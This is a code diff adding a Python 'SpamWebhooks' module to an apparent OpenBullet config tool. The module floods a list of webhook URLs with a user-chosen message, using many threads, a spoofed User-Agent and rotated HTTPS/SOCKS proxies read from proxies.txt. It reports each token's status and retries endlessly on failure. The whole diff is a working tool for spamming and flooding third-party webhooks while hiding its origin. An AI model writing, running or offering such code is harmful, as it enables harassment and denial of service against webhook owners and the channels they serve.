+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [SpamWebhooks]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ███████╗██████╗ █████╗ ███╗ ███╗
+ ██╔════╝██╔══██╗██╔══██╗████╗ ████║
+ ███████╗██████╔╝███████║██╔████╔██║
+ ╚════██║██╔═══╝ ██╔══██║██║╚██╔╝██║
+ ███████║██║ ██║ ██║██║ ╚═╝ ██║
+ ╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ self.webhooks = webhooks
+
+ self.use_proxy = int(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}[1]Proxy [2]Proxyless:{colors["bcyan"]} '))
+ self.proxy_type = None
+
+ if self.use_proxy == 1:
+ self.proxy_type = int(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}[1]Https [2]Socks4 [3]Socks5:{colors["lpurple"]} '))
+
+ self.threads = int(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}Threads:{colors["lpurple"]} '))
+ self.message = str(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}Message:{colors["lpurple"]} '))
+ self.session = requests.session()
+ print('')
+
+ def _spam(self,webhook_url):
+ headers = {
+ 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
+ 'Pragma':'no-cache',
+ 'Accept':'*/*',
+ 'Content-Type':'application/json'
+ }
+
+ payload = {'content':self.message}
+
+ proxy = _getRandomProxy(self.use_proxy,self.proxy_type,'proxies.txt')
+
+ try:
+ response = self.session.post(webhook_url,headers=headers,proxies=proxy,json=payload)
+ webhook_token = webhook_url.split('/')[-1]
+ if response.status_code == 401:
+ _printText(colors['red'],colors['lpurple'],'INVALID',webhook_token)
+ elif response.status_code == 404:
+ _printText(colors['yellow'],colors['lpurple'],'UNKNOWN',webhook_token)
+ elif response.status_code == 204:
+ _printText(colors['bcyan'],colors['lpurple'],'SENT',webhook_token)
+ else:
+ self._spam(webhook_url)
+ except Exception:
+ self._spam(webhook_url)
+
+
+ def _start(self):
+ threads = []
+
+ for webhook_url in self.webhooks:
+ run = True
+
+ while run:
+ if active_count()<=self.threads:
+ thread = Thread(target=self._spam,args=(webhook_url,))
+ threads.append(thread)
+ thread.start()
+ run = False
+ for x in threads:
+ x.join()
+
+ print('')
+ _printText(colors['yellow'],colors['lpurple'],'FINISHED','Process done!')
\ No newline at end of file